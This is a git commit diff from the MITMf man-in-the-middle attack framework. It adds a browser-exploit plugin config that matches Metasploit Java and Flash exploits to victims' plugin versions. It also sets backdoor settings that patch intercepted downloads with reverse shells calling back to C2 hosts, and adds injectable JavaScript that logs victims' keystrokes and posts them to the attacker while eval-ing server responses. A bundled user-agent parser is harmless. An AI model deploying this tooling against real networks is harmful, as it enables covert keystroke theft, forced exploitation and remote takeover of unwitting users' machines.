This commit is just to push the changes so far to github , still have to tidy things up here and there and fix some bugs (also I really hate javascript)

JavaPwn plugin has been renamed to BrowserSniper (cause it now supports java, flash and browser exploits), it's been completly re-written along with it's config file section
Addition of the screenshotter plugin, currently there is a bug when decoding the base64 encoded png files (a very wierd one) , but other than that it works (did i mention i hate js?)
Jskeylogger's javscript now works on every browser except FF mobile (have no clue what's with that) p.s. did i mention i hate JS?
Plugins that deal with javascript now read it from a file as supposed to having it built in (encoding issues) fu javascript
User agent parsing is now built in and handled by core/httpagentparser.py, this because the user-agent library is a pain to install on some distros , also removes 3-4 deps which is a plus

also fuck javascript
This commit is contained in:
byt3bl33d3r 2015-05-16 00:43:56 +02:00
parent 86870b8b72
commit ff39a302f9
32 changed files with 4378 additions and 681 deletions

View file

@ -72,9 +72,9 @@ How to install on Kali
Installation Installation
============ ============
If MITMf is not in your distros repo or you just want the latest version: If MITMf is not in your distros repo or you just want the latest version:
- clone this repository - Clone this repository
- run the ```setup.sh``` script - Run the ```setup.sh``` script
- run the command ```pip install -r requirements.txt``` to install all python dependencies - Run the command ```pip install -r requirements.txt``` to install all python dependencies
On Kali Linux, if you get an error while installing the ```pypcap``` package or when starting MITMf you see: ```ImportError: no module named pcap``` run ```apt-get install python-pypcap``` to fix it. On Kali Linux, if you get an error while installing the ```pypcap``` package or when starting MITMf you see: ```ImportError: no module named pcap``` run ```apt-get install python-pypcap``` to fix it.

View file

@ -18,7 +18,8 @@
pass = beef pass = beef
[[Metasploit]] [[Metasploit]]
msfport = 8080 #Port to start webserver for exploits
msfport = 8080 #Port to start Metasploit's webserver on that will host exploits
rpcip = 127.0.0.1 rpcip = 127.0.0.1
rpcpass = abc123 rpcpass = abc123
@ -231,37 +232,90 @@
skip_in_mass_poison=1 skip_in_mass_poison=1
#you can add other scripts in additional sections like jQuery etc. #you can add other scripts in additional sections like jQuery etc.
[BrowserPwn] [BrowserSniper]
#
# Currently only supports java, flash and browser exploits
#
# The version strings were pulled from http://www.cvedetails.com
#
# When adding java exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28
#
# [[multi/browser/java_rhino]] #Exploit's MSF path
# All versions strings without a * are considered vulnerable if clients Java version is <= update version
# When adding more exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28 Type = PluginVuln #Can be set to PluginVuln, BrowserVuln
# OS = Any #Can be set to Any, Windows or Windows + version (e.g Windows 8.1)
[[Multi]] #Cross platform exploits, yay java! <3 Browser = Any #Can be set to Any, Chrome, Firefox, IE or browser + version (e.g IE 6)
Plugin = Java #Can be set to Java, Flash (if Type is BrowserVuln will be ignored)
multi/browser/java_rhino = 1.6.0.28, 1.7.0.28 #An exact list of the plugin versions affected (if Type is BrowserVuln will be ignored)
multi/browser/java_calendar_deserialize = 1.6.0.10, 1.5.0.16 PluginVersions = 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.23, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.3, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0
multi/browser/java_getsoundbank_bof = 1.6.0.16, 1.5.0.21, 1.4.2.23, 1.3.1.26
multi/browser/java_atomicreferencearray = 1.6.0.30, 1.5.0.33, 1.7.0.2
multi/browser/java_jre17_exec = 1.7.0.6
multi/browser/java_jre17_jaxws = 1.7.0.7
multi/browser/java_jre17_jmxbean = 1.7.0.10
multi/browser/java_jre17_jmxbean_2 = 1.7.0.11
multi/browser/java_jre17_reflection_types = 1.7.0.17
multi/browser/java_verifier_field_access = 1.7.0.4, 1.6.0.32, 1.5.0.35, 1.4.2.37
multi/browser/java_jre17_glassfish_averagerangestatisticimpl = 1.7.0.7
multi/browser/java_jre17_method_handle = 1.7.0.7
multi/browser/java_jre17_driver_manager = 1.7.0.17
multi/browser/java_jre17_provider_skeleton = 1.7.0.21
multi/browser/java_storeimagearray = 1.7.0.21
multi/browser/java_setdifficm_bof = *1.6.0.16, *1.6.0.11
[[Windows]] #These are windows specific [[multi/browser/java_atomicreferencearray]]
windows/browser/java_ws_double_quote = 1.6.0.35, 1.7.0.7 Type = PluginVuln
windows/browser/java_cmm = 1.6.0.41, 1.7.0.15 OS = Any
windows/browser/java_mixer_sequencer = 1.6.0.18 Browser = Any
Plugin = Java
PluginVersions = 1.5.0, 1.5.0.1, 1.5.0.10, 1.5.0.11, 1.5.0.12, 1.5.0.13, 1.5.0.14, 1.5.0.15, 1.5.0.16, 1.5.0.17, 1.5.0.18, 1.5.0.19, 1.5.0.2, 1.5.0.20, 1.5.0.21, 1.5.0.22, 1.5.0.23, 1.5.0.24, 1.5.0.25, 1.5.0.26, 1.5.0.27, 1.5.0.28, 1.5.0.29, 1.5.0.3, 1.5.0.31, 1.5.0.33, 1.5.0.4, 1.5.0.5, 1.5.0.6, 1.5.0.7, 1.5.0.8, 1.5.0.9, 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.29, 1.6.0.3, 1.6.0.30, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0, 1.7.0.1, 1.7.0.2
[[multi/browser/java_jre17_jmxbean_2]]
Type = PluginVuln
OS = Any
Browser = Any
Plugin = Java
PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
[[multi/browser/java_jre17_reflection_types]]
Type = PluginVuln
OS = Any
Browser = Any
Plugin = Java
PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
[[multi/browser/java_verifier_field_access]]
Type = PluginVuln
OS = Any
Browser = Any
Plugin = Java
PluginVersions = 1.4.2.37, 1.5.0.35, 1.6.0.32, 1.7.0.4
[[multi/browser/java_jre17_provider_skeleton]]
Type = PluginVuln
OS = Any
Browser = Any
Plugin = Java
PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.21, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
[[exploit/windows/browser/adobe_flash_pcre]]
Type = PluginVuln
OS = Windows
Browser = Any
Plugin = Flash
PluginVersions = 11.2.202.440, 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296
[[exploit/windows/browser/adobe_flash_net_connection_confusion]]
Type = PluginVuln
OS = Windows
Browser = Any
Plugin = Flash
PluginVersions = 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 16.0.0.305
[[exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array]]
Type = PluginVuln
OS = Windows
Browser = Any
Plugin = Flash
PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144
[SSLstrip+] [SSLstrip+]
@ -315,91 +369,93 @@
# Tested on Kali-Linux. # Tested on Kali-Linux.
[[ZIP]] [[ZIP]]
# patchCount is the max number of files to patch in a zip file # patchCount is the max number of files to patch in a zip file
# After the max is reached it will bypass the rest of the files # After the max is reached it will bypass the rest of the files
# and send on it's way # and send on it's way
patchCount = 5 patchCount = 5
# In Bytes # In Bytes
maxSize = 40000000 maxSize = 40000000
blacklist = .dll, #don't do dlls in a zip file blacklist = .dll, #don't do dlls in a zip file
[[TAR]] [[TAR]]
# patchCount is the max number of files to patch in a tar file # patchCount is the max number of files to patch in a tar file
# After the max is reached it will bypass the rest of the files # After the max is reached it will bypass the rest of the files
# and send on it's way # and send on it's way
patchCount = 5 patchCount = 5
# In Bytes # In Bytes
maxSize = 40000000 maxSize = 40000000
blacklist = , # a comma is null do not leave blank blacklist = , # a comma is null do not leave blank
[[targets]] [[targets]]
#MAKE SURE that your settings for host and port DO NOT #MAKE SURE that your settings for host and port DO NOT
# overlap between different types of payloads # overlap between different types of payloads
[[[ALL]]] # DEFAULT settings for all targets REQUIRED [[[ALL]]] # DEFAULT settings for all targets REQUIRED
LinuxType = ALL # choices: x86/x64/ALL/None
WindowsType = ALL # choices: x86/x64/ALL/None
FatPriority = x64 # choices: x86 or x64
FileSizeMax = 60000000 # ~60 MB (just under) No patching of files this large
CompressedFiles = True #True/False LinuxType = ALL # choices: x86/x64/ALL/None
WindowsType = ALL # choices: x86/x64/ALL/None
FatPriority = x64 # choices: x86 or x64
[[[[LinuxIntelx86]]]] FileSizeMax = 60000000 # ~60 MB (just under) No patching of files this large
SHELL = reverse_shell_tcp # This is the BDF syntax
HOST = 192.168.1.168 # The C2
PORT = 8888
SUPPLIED_SHELLCODE = None
MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF syntax
[[[[LinuxIntelx64]]]]
SHELL = reverse_shell_tcp
HOST = 192.168.1.16
PORT = 9999
SUPPLIED_SHELLCODE = None
MSFPAYLOAD = linux/x64/shell_reverse_tcp
[[[[WindowsIntelx86]]]] CompressedFiles = True #True/False
PATCH_TYPE = SINGLE #JUMP/SINGLE/APPEND
# PATCH_METHOD overwrites PATCH_TYPE with jump [[[[LinuxIntelx86]]]]
PATCH_METHOD = automatic SHELL = reverse_shell_tcp # This is the BDF syntax
HOST = 192.168.1.16 HOST = 192.168.1.168 # The C2
PORT = 8443 PORT = 8888
SHELL = iat_reverse_tcp_stager_threaded SUPPLIED_SHELLCODE = None
SUPPLIED_SHELLCODE = None MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF syntax
ZERO_CERT = False
PATCH_DLL = True [[[[LinuxIntelx64]]]]
MSFPAYLOAD = windows/meterpreter/reverse_tcp SHELL = reverse_shell_tcp
HOST = 192.168.1.16
PORT = 9999
SUPPLIED_SHELLCODE = None
MSFPAYLOAD = linux/x64/shell_reverse_tcp
[[[[WindowsIntelx64]]]] [[[[WindowsIntelx86]]]]
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
# PATCH_METHOD overwrites PATCH_TYPE with jump # PATCH_METHOD overwrites PATCH_TYPE with jump
PATCH_METHOD = automatic # PATCH_METHOD = automatic
HOST = 192.168.1.16 PATCH_METHOD =
PORT = 8088 HOST = 192.168.1.16
SHELL = iat_reverse_tcp_stager_threaded PORT = 8443
SUPPLIED_SHELLCODE = None SHELL = iat_reverse_tcp_stager_threaded
ZERO_CERT = True SUPPLIED_SHELLCODE = None
PATCH_DLL = False ZERO_CERT = True
MSFPAYLOAD = windows/x64/shell/reverse_tcp PATCH_DLL = False
MSFPAYLOAD = windows/meterpreter/reverse_tcp
[[[[MachoIntelx86]]]] [[[[WindowsIntelx64]]]]
SHELL = reverse_shell_tcp PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
HOST = 192.168.1.16 # PATCH_METHOD overwrites PATCH_TYPE with jump
PORT = 4444 # PATCH_METHOD = automatic
SUPPLIED_SHELLCODE = None PATCH_METHOD =
MSFPAYLOAD = linux/x64/shell_reverse_tcp HOST = 192.168.1.16
PORT = 8088
SHELL = iat_reverse_tcp_stager_threaded
SUPPLIED_SHELLCODE = None
ZERO_CERT = True
PATCH_DLL = False
MSFPAYLOAD = windows/x64/shell/reverse_tcp
[[[[MachoIntelx64]]]] [[[[MachoIntelx86]]]]
SHELL = reverse_shell_tcp SHELL = reverse_shell_tcp
HOST = 192.168.1.16 HOST = 192.168.1.16
PORT = 5555 PORT = 4444
SUPPLIED_SHELLCODE = None SUPPLIED_SHELLCODE = None
MSFPAYLOAD = linux/x64/shell_reverse_tcp MSFPAYLOAD = linux/x64/shell_reverse_tcp
[[[[MachoIntelx64]]]]
SHELL = reverse_shell_tcp
HOST = 192.168.1.16
PORT = 5555
SUPPLIED_SHELLCODE = None
MSFPAYLOAD = linux/x64/shell_reverse_tcp

View file

@ -82,26 +82,11 @@ class SSLServerConnection(ServerConnection):
self.buildAbsoluteLink(match.group(1)) self.buildAbsoluteLink(match.group(1))
return data return data
def replaceFavicon(self, data):
match = re.search(SSLServerConnection.iconExpression, data)
if (match != None):
data = re.sub(SSLServerConnection.iconExpression,
"<link rel=\"SHORTCUT ICON\" href=\"/favicon-x-favicon-x.ico\">", data)
else:
data = re.sub(SSLServerConnection.headExpression,
"<head><link rel=\"SHORTCUT ICON\" href=\"/favicon-x-favicon-x.ico\">", data)
return data
def replaceSecureLinks(self, data): def replaceSecureLinks(self, data):
data = ServerConnection.replaceSecureLinks(self, data) data = ServerConnection.replaceSecureLinks(self, data)
data = self.replaceCssLinks(data) data = self.replaceCssLinks(data)
if (self.urlMonitor.isFaviconSpoofing()):
data = self.replaceFavicon(data)
iterator = re.finditer(SSLServerConnection.linkExpression, data) iterator = re.finditer(SSLServerConnection.linkExpression, data)
for match in iterator: for match in iterator:

673
core/httpagentparser.py Normal file
View file

@ -0,0 +1,673 @@
#
#httpagentparser library, stolen from https://github.com/shon/httpagentparser
#
"""
Extract client information from http user agent
The module does not try to detect all capabilities of browser in current form (it can easily be extended though).
Tries to
* be fast
* very easy to extend
* reliable enough for practical purposes
* assist python web apps to detect clients.
"""
__version__ = '1.7.7'
class DetectorsHub(dict):
_known_types = ['os', 'dist', 'flavor', 'browser']
def __init__(self, *args, **kw):
dict.__init__(self, *args, **kw)
for typ in self._known_types:
self.setdefault(typ, [])
self.registerDetectors()
def register(self, detector):
if detector.info_type not in self._known_types:
self[detector.info_type] = [detector]
self._known_types.insert(detector.order, detector.info_type)
else:
self[detector.info_type].append(detector)
def __iter__(self):
return iter(self._known_types)
def registerDetectors(self):
detectors = [v() for v in globals().values() if DetectorBase in getattr(v, '__mro__', [])]
for d in detectors:
if d.can_register:
self.register(d)
class DetectorBase(object):
name = "" # "to perform match in DetectorsHub object"
info_type = "override me"
result_key = "override me"
order = 10 # 0 is highest
look_for = "string to look for"
skip_if_found = [] # strings if present stop processin
can_register = False
version_markers = [("/", " ")]
allow_space_in_version = False
_suggested_detectors = None
platform = None
bot = False
def __init__(self):
if not self.name:
self.name = self.__class__.__name__
self.can_register = (self.__class__.__dict__.get('can_register', True))
def detect(self, agent, result):
# -> True/None
word = self.checkWords(agent)
if word:
result[self.info_type] = dict(name=self.name)
result['bot'] = self.bot
version = self.getVersion(agent, word)
if version:
result[self.info_type]['version'] = version
if self.platform:
result['platform'] = {'name': self.platform, 'version': version}
return True
def checkWords(self, agent):
# -> True/None
for w in self.skip_if_found:
if w in agent:
return False
if isinstance(self.look_for, (tuple, list)):
for word in self.look_for:
if word in agent:
return word
elif self.look_for in agent:
return self.look_for
def getVersion(self, agent, word):
"""
=> version string /None
"""
version_markers = self.version_markers if \
isinstance(self.version_markers[0], (list, tuple)) else [self.version_markers]
version_part = agent.split(word, 1)[-1]
for start, end in version_markers:
if version_part.startswith(start) and end in version_part:
version = version_part[1:]
if end: # end could be empty string
version = version.split(end)[0]
if not self.allow_space_in_version:
version = version.split()[0]
return version
class OS(DetectorBase):
info_type = "os"
can_register = False
version_markers = [";", " "]
allow_space_in_version = True
platform = None
class Dist(DetectorBase):
info_type = "dist"
can_register = False
platform = None
class Flavor(DetectorBase):
info_type = "flavor"
can_register = False
platform = None
class Browser(DetectorBase):
info_type = "browser"
can_register = False
class Firefox(Browser):
look_for = "Firefox"
version_markers = [('/', '')]
skip_if_found = ["SeaMonkey", "web/snippet"]
class SeaMonkey(Browser):
look_for = "SeaMonkey"
version_markers = [('/', '')]
class Konqueror(Browser):
look_for = "Konqueror"
version_markers = ["/", ";"]
class OperaMobile(Browser):
look_for = "Opera Mobi"
name = "Opera Mobile"
def getVersion(self, agent, word):
try:
look_for = "Version"
return agent.split(look_for)[1][1:].split(' ')[0]
except IndexError:
look_for = "Opera"
return agent.split(look_for)[1][1:].split(' ')[0]
class Opera(Browser):
look_for = "Opera"
def getVersion(self, agent, word):
try:
look_for = "Version"
return agent.split(look_for)[1][1:].split(' ')[0]
except IndexError:
look_for = "Opera"
version = agent.split(look_for)[1][1:].split(' ')[0]
return version.split('(')[0]
class OperaNew(Browser):
"""
Opera after version 15
"""
name = "Opera"
look_for = "OPR"
version_markers = [('/', '')]
class Netscape(Browser):
look_for = "Netscape"
version_markers = [("/", '')]
class Trident(Browser):
look_for = "Trident"
skip_if_found = ["MSIE", "Opera"]
name = "IE"
version_markers = ["/", ";"]
trident_to_ie_versions = {
'4.0': '8.0',
'5.0': '9.0',
'6.0': '10.0',
'7.0': '11.0',
}
def getVersion(self, agent, word):
return self.trident_to_ie_versions.get(super(Trident, self).getVersion(agent, word))
class MSIE(Browser):
look_for = "MSIE"
skip_if_found = ["Opera"]
name = "IE"
version_markers = [" ", ";"]
class Galeon(Browser):
look_for = "Galeon"
class WOSBrowser(Browser):
look_for = "wOSBrowser"
def getVersion(self, agent, word):
pass
class Safari(Browser):
look_for = "Safari"
def checkWords(self, agent):
unless_list = ["Chrome", "OmniWeb", "wOSBrowser", "Android"]
if self.look_for in agent:
for word in unless_list:
if word in agent:
return False
return self.look_for
def getVersion(self, agent, word):
if "Version/" in agent:
return agent.split('Version/')[-1].split(' ')[0].strip()
if "Safari/" in agent:
return agent.split('Safari/')[-1].split(' ')[0].strip()
else:
return agent.split('Safari ')[-1].split(' ')[0].strip() # Mobile Safari
class GoogleBot(Browser):
# https://support.google.com/webmasters/answer/1061943
look_for = ["Googlebot", "Googlebot-News", "Googlebot-Image",
"Googlebot-Video", "Googlebot-Mobile", "Mediapartners-Google",
"Mediapartners", "AdsBot-Google", "web/snippet"]
bot = True
version_markers = [('/', ';'), ('/', ' ')]
class GoogleFeedFetcher(Browser):
look_for = "Feedfetcher-Google"
bot = True
def get_version(self, agent):
pass
class RunscopeRadar(Browser):
look_for = "runscope-radar"
bot = True
class GoogleAppEngine(Browser):
look_for = "AppEngine-Google"
bot = True
def get_version(self, agent):
pass
class GoogleApps(Browser):
look_for = "GoogleApps script"
bot = True
def get_version(self, agent):
pass
class TwitterBot(Browser):
look_for = "Twitterbot"
bot = True
class MJ12Bot(Browser):
look_for = "MJ12bot"
bot = True
class YandexBot(Browser):
# http://help.yandex.com/search/robots/agent.xml
look_for = "Yandex"
bot = True
def getVersion(self, agent, word):
return agent[agent.index('Yandex'):].split('/')[-1].split(')')[0].strip()
class BingBot(Browser):
look_for = "bingbot"
version_markers = ["/", ";"]
bot = True
class BaiduBot(Browser):
# http://help.baidu.com/question?prod_en=master&class=1&id=1000973
look_for = ["Baiduspider", "Baiduspider-image", "Baiduspider-video",
"Baiduspider-news", "Baiduspider-favo", "Baiduspider-cpro",
"Baiduspider-ads"]
bot = True
version_markers = ('/', ';')
class LinkedInBot(Browser):
look_for = "LinkedInBot"
bot = True
class ArchiveDotOrgBot(Browser):
look_for = "archive.org_bot"
bot = True
class YoudaoBot(Browser):
look_for = "YoudaoBot"
bot = True
class YoudaoBotImage(Browser):
look_for = "YodaoBot-Image"
bot = True
class RogerBot(Browser):
look_for = "rogerbot"
bot = True
class TweetmemeBot(Browser):
look_for = "TweetmemeBot"
bot = True
class WebshotBot(Browser):
look_for = "WebshotBot"
bot = True
class SensikaBot(Browser):
look_for = "SensikaBot"
bot = True
class YesupBot(Browser):
look_for = "YesupBot"
bot = True
class DotBot(Browser):
look_for = "DotBot"
bot = True
class PhantomJS(Browser):
look_for = "Browser/Phantom"
bot = True
class FacebookExternalHit(Browser):
look_for = 'facebookexternalhit'
bot = True
class NokiaOvi(Browser):
look_for = "S40OviBrowser"
class UCBrowser(Browser):
look_for = "UCBrowser"
class BrowserNG(Browser):
look_for = "BrowserNG"
class Dolfin(Browser):
look_for = 'Dolfin'
class NetFront(Browser):
look_for = 'NetFront'
class Jasmine(Browser):
look_for = 'Jasmine'
class Openwave(Browser):
look_for = 'Openwave'
class UPBrowser(Browser):
look_for = 'UP.Browser'
class OneBrowser(Browser):
look_for = 'OneBrowser'
class ObigoInternetBrowser(Browser):
look_for = 'ObigoInternetBrowser'
class TelecaBrowser(Browser):
look_for = 'TelecaBrowser'
class MAUI(Browser):
look_for = 'Browser/MAUI'
def getVersion(self, agent, word):
version = agent.split("Release/")[-1][:10]
return version
class NintendoBrowser(Browser):
look_for = 'NintendoBrowser'
class AndroidBrowser(Browser):
look_for = "Android"
skip_if_found = ['Chrome', 'Windows Phone']
# http://decadecity.net/blog/2013/11/21/android-browser-versions
def getVersion(self, agent, word):
pass
class Linux(OS):
look_for = 'Linux'
platform = 'Linux'
def getVersion(self, agent, word):
pass
class Blackberry(OS):
look_for = 'BlackBerry'
platform = 'BlackBerry'
def getVersion(self, agent, word):
pass
class BlackberryPlaybook(Dist):
look_for = 'PlayBook'
platform = 'BlackBerry'
def getVersion(self, agent, word):
pass
class WindowsPhone(OS):
name = "Windows Phone"
platform = 'Windows'
look_for = ["Windows Phone OS", "Windows Phone"]
version_markers = [(" ", ";"), (" ", ")")]
class iOS(OS):
look_for = ('iPhone', 'iPad')
skip_if_found = ['like iPhone']
class iPhone(Dist):
look_for = 'iPhone'
platform = 'iOS'
skip_if_found = ['like iPhone']
def getVersion(self, agent, word):
version_end_chars = [' ']
if not "iPhone OS" in agent:
return None
part = agent.split('iPhone OS')[-1].strip()
for c in version_end_chars:
if c in part:
version = part.split(c)[0]
return version.replace('_', '.')
return None
class IPad(Dist):
look_for = 'iPad;'
platform = 'iOS'
def getVersion(self, agent, word):
version_end_chars = [' ']
if not "CPU OS " in agent:
return None
part = agent.split('CPU OS ')[-1].strip()
for c in version_end_chars:
if c in part:
version = part.split(c)[0]
return version.replace('_', '.')
return None
class Macintosh(OS):
look_for = 'Macintosh'
def getVersion(self, agent, word):
pass
class MacOS(Flavor):
look_for = 'Mac OS'
platform = 'Mac OS'
skip_if_found = ['iPhone', 'iPad']
def getVersion(self, agent, word):
version_end_chars = [';', ')']
part = agent.split('Mac OS')[-1].strip()
for c in version_end_chars:
if c in part:
version = part.split(c)[0]
return version.replace('_', '.')
return ''
class Windows(Dist):
look_for = 'Windows'
platform = 'Windows'
class Windows(OS):
look_for = 'Windows'
platform = 'Windows'
skip_if_found = ["Windows Phone"]
win_versions = {
"NT 6.3": "8.1",
"NT 6.2": "8",
"NT 6.1": "7",
"NT 6.0": "Vista",
"NT 5.2": "Server 2003 / XP x64",
"NT 5.1": "XP",
"NT 5.01": "2000 SP1",
"NT 5.0": "2000",
"98; Win 9x 4.90": "Me"
}
def getVersion(self, agent, word):
v = agent.split('Windows')[-1].split(';')[0].strip()
if ')' in v:
v = v.split(')')[0]
v = self.win_versions.get(v, v)
return v
class Ubuntu(Dist):
look_for = 'Ubuntu'
version_markers = ["/", " "]
class Debian(Dist):
look_for = 'Debian'
version_markers = ["/", " "]
class Chrome(Browser):
look_for = "Chrome"
version_markers = ["/", " "]
skip_if_found = ["OPR"]
def getVersion(self, agent, word):
part = agent.split(word + self.version_markers[0])[-1]
version = part.split(self.version_markers[1])[0]
if '+' in version:
version = part.split('+')[0]
return version.strip()
class ChromeiOS(Browser):
look_for = "CriOS"
version_markers = ["/", " "]
class ChromeOS(OS):
look_for = "CrOS"
platform = ' ChromeOS'
version_markers = [" ", " "]
def getVersion(self, agent, word):
version_markers = self.version_markers
if word + '+' in agent:
version_markers = ['+', '+']
return agent.split(word + version_markers[0])[-1].split(version_markers[1])[1].strip()[:-1]
class Android(Dist):
look_for = 'Android'
platform = 'Android'
skip_if_found = ['Windows Phone']
def getVersion(self, agent, word):
return agent.split(word)[-1].split(';')[0].strip()
class WebOS(Dist):
look_for = 'hpwOS'
def getVersion(self, agent, word):
return agent.split('hpwOS/')[-1].split(';')[0].strip()
class NokiaS40(OS):
look_for = 'Series40'
platform = 'Nokia S40'
def getVersion(self, agent, word):
pass
class Symbian(OS):
look_for = ['Symbian', 'SymbianOS']
platform = 'Symbian'
class PlayStation(OS):
look_for = ['PlayStation', 'PLAYSTATION']
platform = 'PlayStation'
version_markers = [" ", ")"]
class prefs: # experimental
os = dict(
Linux=dict(dict(browser=[Firefox, Chrome], dist=[Ubuntu, Android])),
BlackBerry=dict(dist=[BlackberryPlaybook]),
Macintosh=dict(flavor=[MacOS]),
Windows=dict(browser=[MSIE, Firefox]),
ChromeOS=dict(browser=[Chrome]),
Debian=dict(browser=[Firefox])
)
dist = dict(
Ubuntu=dict(browser=[Firefox]),
Android=dict(browser=[Safari]),
IPhone=dict(browser=[Safari]),
IPad=dict(browser=[Safari]),
)
flavor = dict(
MacOS=dict(browser=[Opera, Chrome, Firefox, MSIE])
)
detectorshub = DetectorsHub()
def detect(agent, fill_none=False):
"""
fill_none: if name/version is not detected respective key is still added to the result with value None
"""
result = dict(platform=dict(name=None, version=None))
_suggested_detectors = []
for info_type in detectorshub:
detectors = _suggested_detectors or detectorshub[info_type]
for detector in detectors:
try:
detector.detect(agent, result)
except Exception as _err:
pass
if fill_none:
attrs_d = {'name': None, 'version': None}
for key in ('os', 'browser'):
if key not in result:
result[key] = attrs_d
else:
for k, v in attrs_d.items():
result[k] = v
return result
def simple_detect(agent):
"""
-> (os, browser) # tuple of strings
"""
result = detect(agent)
os_list = []
if 'flavor' in result:
os_list.append(result['flavor']['name'])
if 'dist' in result:
os_list.append(result['dist']['name'])
if 'os' in result:
os_list.append(result['os']['name'])
os = os_list and " ".join(os_list) or "Unknown OS"
os_version = os_list and (result.get('flavor') and result['flavor'].get('version')) or \
(result.get('dist') and result['dist'].get('version')) or (result.get('os') and result['os'].get('version')) or ""
browser = 'browser' in result and result['browser'].get('name') or 'Unknown Browser'
browser_version = 'browser' in result and result['browser'].get('version') or ""
if browser_version:
browser = " ".join((browser, browser_version))
if os_version:
os = " ".join((os, os_version))
return os, browser

View file

@ -0,0 +1,117 @@
window.onload = function (){
var2 = ",";
name = '';
function make_xhr(){
var xhr;
try {
xhr = new XMLHttpRequest();
} catch(e) {
try {
xhr = new ActiveXObject("Microsoft.XMLHTTP");
} catch(e) {
xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if(!xhr) {
throw "failed to create XMLHttpRequest";
}
return xhr;
}
xhr = make_xhr();
xhr.onreadystatechange = function() {
if(xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
eval(xhr.responseText);
}
}
if (window.addEventListener){
//console.log("first");
document.addEventListener('keypress', function2, true);
document.addEventListener('keydown', function1, true);
}
else if (window.attachEvent){
//console.log("second");
document.attachEvent('onkeypress', function2);
document.attachEvent('onkeydown', function1);
}
else {
//console.log("third");
document.onkeypress = function2;
document.onkeydown = function1;
}
}
function function2(e)
{
try
{
srcname = window.event.srcElement.name;
}catch(error)
{
srcname = e.srcElement ? e.srcElement.name : e.target.name
if (srcname == "")
{
srcname = e.target.name
}
}
var3 = (e) ? e.keyCode : e.which;
if (var3 == 0)
{
var3 = e.charCode
}
if (var3 != "d" && var3 != 8 && var3 != 9 && var3 != 13)
{
andxhr(var3.toString(16), srcname);
}
}
function function1(e)
{
try
{
srcname = window.event.srcElement.name;
}catch(error)
{
srcname = e.srcElement ? e.srcElement.name : e.target.name
if (srcname == "")
{
srcname = e.target.name
}
}
var3 = (e) ? e.keyCode : e.which;
if (var3 == 9 || var3 == 8 || var3 == 13)
{
andxhr(var3.toString(16), srcname);
}
else if (var3 == 0)
{
text = document.getElementById(id).value;
if (text.length != 0)
{
andxhr(text.toString(16), srcname);
}
}
}
function andxhr(key, inputName)
{
if (inputName != name)
{
name = inputName;
var2 = ",";
}
var2= var2 + key + ",";
xhr.open("POST", "keylog", true);
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr.send(var2 + '&&' + inputName);
if (key == 13 || var2.length > 3000)
{
var2 = ",";
}
}

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load diff

View file

@ -24,8 +24,8 @@ import zlib
import gzip import gzip
import StringIO import StringIO
import sys import sys
import core.httpagentparser as hap
from user_agents import parse
from twisted.web.http import HTTPClient from twisted.web.http import HTTPClient
from URLMonitor import URLMonitor from URLMonitor import URLMonitor
